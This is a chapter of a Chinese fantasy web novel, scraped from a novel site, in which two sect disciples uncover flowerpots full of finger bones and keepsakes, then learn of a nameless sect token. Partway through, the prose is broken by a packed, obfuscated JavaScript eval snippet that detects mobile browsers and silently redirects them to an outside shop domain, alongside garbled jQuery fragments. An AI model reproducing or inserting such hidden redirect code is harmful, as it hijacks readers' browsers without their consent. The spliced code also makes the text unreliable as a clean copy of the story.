文趣网 > 都市小说 > 又被笨蛋剑灵缠上了 > 29. 令牌
    窗外淅淅下起了小雨。

    姜时雨披上青绿宗服,看着手边短了一截的外袍,一时有些唏嘘。

    现在已是六月,魏筱筱师姐回宗门后不久便去府内闭关了,李跃师兄在被元祁长老唤走后,也如消失了一般,再未出现在药峰。

    起初还常有弟子来找她打听,后面见她整日泡在灵田,也只得打消了继续堵人的念头。

    而原本属于闵行的那块药田也由她接手,虽不算忙,但每日在东西两块药田间穿梭确实费了些时间。

    她没觉有什么不好,只要忙起来就不会想东想西了。

    如今她窗边也同钱七褚一样,摆着盆状态欠佳的云素花。

    这正是当时乔金木送给她的那株,几经波折后花苞掉落,如今垂着脑袋,确实金贵难养。

    旁边大些的是那截在蛇窟带回来的桃枝,这些日子倒长得不错,叶片舒展,满是生机。

    上面哗啦淋水的圆形灵器是赵舟师兄上月来时赠的。

    他们一行人在婆娑镇的遭遇已经传遍。崔照熙特求了掌门,将婆娑山清理蛇窟的任务挂在了事务堂。最近也常听到有师兄师姐领了任务去山神庙协作清理妖物。

    可惜的是,这半月来未听到云素花的半点消息,她窗边这盆是七绝方最后的指望。

    赵舟一来便看到了姜时雨窗檐下那盆无精打采的云素花,只告诉她先养好身子,一切不急。

    顺便展示了许长季用重金帮买的银构假肢。

    他磨合了半月,才终于将其驯服,走进人群中也不觉显眼,只会让人觉得有些跛脚。

    “我身上的蛇毒魏师姐已经帮我清理干净了,这丹药与我而言,已不是必要。”赵舟看向姜时雨,又道:“姜师妹,我昨日在事务堂领了令,明日就要动身去婆娑镇了。”

    姜时雨蹙眉微怔。

    赵舟摊手解释道:“我计划在山下开个武馆,待我选好位置叫你。”

    当晚,她忙完药田的活,又熬了个通宵,备齐了现有能用得上的丹丸,特为赵舟饯行。

    也见到了祝霖师姐,她也一同坐上了去往婆娑镇的飞舟。

    祝霖脸上的笑不达眼底,人也憔悴了不少。

    似乎,大家都被困在其中,寻不到出路。

    她闲时便守在药田,研究那本入门心法。

    她之前灵力运转靠的是沧澜。

    现在亦然。

    不同的是,她还察觉到自己身上有另一股未知力量在体内游走。

    也正是这股力量帮她进入了旁人眼中的炼气期。

    她问沧澜,对方也只是哼哼唧唧说不出个所以然,只说等他寻回剑身再好好帮她研究。最后还反推出个结论,既然不伤你,那就用着吧。

    姜时雨扶额。

    被迫认同。

    她现在使用灵力终于不再受限于灵石调动,抛除这些“秘密”,也同其他修士大差不差。

    竟是圆了少时不切实际的梦。

    姜时雨望向窗外,阴云未散。

    这雨怕是一时半会停不了。

    药田的白莲也不用自己担水,她终于得了闲去见许长季。

    演武场比试的人也比之前少了些,许长季倒是未变,靠在一旁梨树下休息。

    姜时雨:“许师兄。”

    许长季见她来,眼睛亮了下,笑着朝她走来。

    “有些日子没见你了,今日不忙?”

    “莲塘向来事少,我便偷懒出来了。”姜时雨又疑惑道:“赵舟师兄下山那天你怎么没去?”

    许长季哑然,沉默了一会才道:“我和他吵架了。”

    这半年来,许长季一直住在揽月峰,几次梦醒都能见到赵舟在院中练拳。

    赵舟想继续修炼,可经脉受阻的情况又真真实实摆在面前。

    为此,许长季白天在藏书阁帮着翻阅古籍,晚上在屋内帮着记录赵舟身上经脉变化。为了让赵舟安心,他还去求了师姐帮他定做了银构赠予赵舟,赵舟也常和自己说适应了……

    就在他以为一切都在向好发展时,赵舟却轻而易举说出一句,我不想修炼了。

    两人爆发了剧烈争吵,许长季气急搬回了山下。

    许长季看了眼姜时雨,终将头别了去。

    其实那天赵舟曾去戊己院寻过他。

    他不愿见赵舟,在房中门窗紧关,未曾理睬。

    而赵舟在门口驻足很久,留下一袋灵石后便离开了。

    “我不知道他要走。”许长季声音有些沙哑,拍了拍姜时雨肩膀:“算了,现在说这些都没用,他已经选好了这条路,我拦也拦不住。”

    姜时雨不知道两人间还有这事,她依稀记得赵舟同祝霖一同上飞舟后,一直紧盯着自己身后的小路……

    许长季见她低头不语,飞快转了话题。

    “你还记得之前和你住一个院子的钱七褚吗?”

    “嗯,听说她被闫长老带走了。”她道。

    她对这事也略有耳闻,钱七褚原本是被祝霖师姐带走关在揽月峰。

    后来李跃师兄回宗门求助,路遇陈皓。此事最后被闫长老知晓,直接派人将钱七褚带走。

    许长季开口:“有人说,她是半妖。”

    “半妖?”

    “对,虽说宗门招收弟子时不在乎身世,但现在闹得弟子中人心惶惶。今日她是个半妖,明日他也是个半妖,不就全乱套了?”

    人族在此刻往往都更为团结。

    今日还是肩并肩的战友,明日就控制不住自身灵力,反手在背后给你捅一刀,没人想将自己的性命交与他人。

    “最近不少弟子已经开始提议,建议明年新弟子入门时多加一项血脉测试。”许长季抬头望向树梢梨花,剑眉上挑:“入门便直接区分,或者直接杜绝半妖血脉的试炼者。”

    姜时雨下意识手指攥紧,反问:“许师兄,你怎么看?”

    许长季沉默了一下,道:“我倒是无所谓,我进神木宗已有十七年,其间亦未见过半妖弟子暴走伤人。况且,钱七褚同你同院而住,你现在全头全脑站在我面前,不正证明半妖未曾伤人吗?”

    姜时雨一时间不知道该怎么和对方解释。

    “其实,她曾给过我一护身符。”她声音缓长,看到对面许长季变了神色才继续道:“护身符里面装的是蛇蜕。”

    那护身符上的蛇纹,和后来她在婆娑山见到的蛇妖花纹一致。

    她不愿将自己猜测全盘托出。

    那边许长季也立即联想到了婆娑山,顿感恶寒:“那你……”

    姜时雨轻笑,“许是我命大?”

    钱七褚时常侍奉的那几盆云素花正是婆娑山带下来的,至于那蛇蜕,她觉得是钱七褚在让她同方兮师姐接触才放出的。

    遗憾的是,方兮控制不住妖力,死在了苍干镇。

    许长季看着姜时雨明亮的黑瞳,婆娑山他虽未去,但闵行师弟负伤难行,留在了城主府的遭遇谁人不知,他心中泛起一股酸涩。

    若受伤的是姜师妹……

    他道:“那从现在开始,我支持激进弟子。”

    姜时雨第一次听到这样的答复,笑得灿烂。

    许长季神情严肃:“那我同你一起去丙寅院,钱七褚虽走,但房内上锁,无人能进,你直接回去免不得会受到波及。”

    她如今虽搬到了药峰,但新弟子尚未入门,事务堂便不会重新分配房屋。

    按道理,丙寅院的钥匙仍归她和钱七褚所有。

    她想起自己走前布下的防御符箓,心里安稳。

    姜时雨拱手道:“谢师兄。”

    她话音刚落,许长季似比她还急,直接站起身:“现在就去吧,万一她真在房中布下了什么阵法我还能帮你挡一挡,你这练气初期的修为和普通人也没什么不同。”

    姜时雨看着许长季的背影,无奈开口:“不用这么忧心,我先前在屋内布了灵符,蒋晨师兄也把过关的。”

    “蒋晨才最不靠谱,他前些日子还找我借灵石,说是山下兽皮紧销,要周转一下……”

    正说着,走在前面的许长季突然停下脚步,用力捶了下脑袋,道:“我记起来了,你先前交给我的那两个储物袋,已经破开了。”

    是苏锣兄妹遗留下的储物袋,她当时打不开便转交给了许长季。

    姜时雨好奇问:“那储物袋里面有什么?”

    “都是些灵石、妖丹,里面还有两张纸薄的面具。”许长季顿了下,蹙眉开口:“我记得你之前同我说过,这是在妖兽的储物袋?”

    “嗯。”

    “那难办了。”许长季靠近压低声音道:“你见了便知。”

    两两相望,姜时雨在许长季的眼神中读出了少有的情绪,是恐惧。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715924|206514||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>她道:“先去丙寅院吧。”

    头顶的雨停了片刻,雨珠又噼里啪啦地砸了下来。

    姜时雨推开丙寅院门,雨后的尘土味扑面而来,院中布局和自己走时没有变化,也没有想象中的糟糕。

    东边钱七褚的房门挂着一把长锁,门窗紧闭。

    姜时雨看了一眼警惕的许长季,“进去说。”

    说着她抬手推开房门。

    “这……”

    只见满屋都摆满了已经干枯的云素花,一盆接着一盆,连个下脚的地方都没有。

    她抬头往房顶望去,符箓自中间断裂,上表朱红也变了颜色,符箓上灵力全无。

    身后的许长季也适时开口:“我就说蒋晨不靠谱吧。”

    他伸手拉住姜时雨手腕,往后退了一步。

    屋内云素花的甜腻的味道向外扩散,直冲姜时雨而来。

    她眼前浮现出婆娑山圣女满是伤痕的脸。

    那天,崔照熙说圣女是凡人。

    许是花香太过浓郁,她恍惚间竟真切感觉到自己身上那股未知的力量正在游走,好熟悉。

    是树。

    是那株桃树!

    原来那日蛇窟内摘下的青桃凭空消失,是消失在了这里。

    初探及真相,她脚下一软,眸色愈发暗沉,抬手用力抓住廊下的木柱。

    许长季:“你没事吧。”

    姜时雨额头冷汗坠下,她摇了摇头。

    “师兄,麻烦你把门开大些。”

    许长季回头看了她一眼,点头应下,捂住口鼻抬脚直接将门踹了下来。

    她站在廊下,在心里默数着屋内花盆的数量。

    整整四十九盆。

    屋内的符箓是何时被人破坏掉的?

    “钱七褚……”

    她蹙眉看向另一边上着锁的钱七褚房间,眼神中是藏不住的冷意。

    等了好一会儿,屋内的浓郁花香终于散去,她捂鼻快步走了进去。

    姜时雨站在床边,眉头紧锁,这些云素花的摆放似乎还有些其他含义。

    东侧二十三盆,围圆摆放。

    西侧二十五盆,上下略有参差。

    正中花盆却是空的,只有土壤未见枯枝。

    她视线旋转,意识到这些花盆似是围出一条三横三纵的棋盘,两方相峙。

    姜时雨抿唇,拿起正中圆桌上的花盆。

    轻嗅下,她闻到了熟悉的味道。

    “你小心些。”许长季也紧跟在她身后,生怕里面还残留半妖的阵法。

    她微微点头,手中花盆高举,用力摔下。

    陶制花盆应声碎掉,土壤中埋着的是无数趾骨。

    姜时雨看着面前的诡异白骨,如释重负地叹了口气,弯腰拾起地上稍大些的陶片,借着陶片的尖锐边缘拨动地上的白骨。

    许长季嘴上没说话,却还是往她身边靠了靠。

    良久,终于清理干净。

    姜时雨开口:“这手少了三节,是四指。”

    怕是,有人已经将这盆上原有的植株拔除。

    为什么没有带走周围的云素花,任由他们在这里自生自灭?

    许长季问:“这人是她杀的吗?”

    她,是钱七褚。

    “不知。”

    姜时雨觉得钱七褚没有这种能力,不然同住的一年间,她早就该动手,而不是等到自己去了药峰……

    她一怔,侧身抬脚踹向离自己最近的枯枝,花盆破碎。

    正如她所料,这些土壤中也埋着其他东西。

    是一块淡紫色布料。

    边角毛躁,深埋土壤中依旧未被掩藏光泽。

    许长季见状,也在另一个花盆中发现了相似的物品,是一条束腕带。

    两人对视一眼,很快便将屋内花盆翻了个底朝天。

    地上物品也越来越多,发簪、玉环、狼毫笔尖……

    “这些会是信物吗?”

    姜时雨也一头雾水,两人呆坐在床边。

    她问:“对了,你还未说那储物袋里是什么?”

    许长季:“一块神木宗弟子令牌。”

    弟子令牌并不稀奇,宗门内弟子万千,常有身份令牌丢失的情况,只需到事务堂报备即可。

    “令牌?”

    “一块没有镌刻姓名,却能出入各峰的令牌。”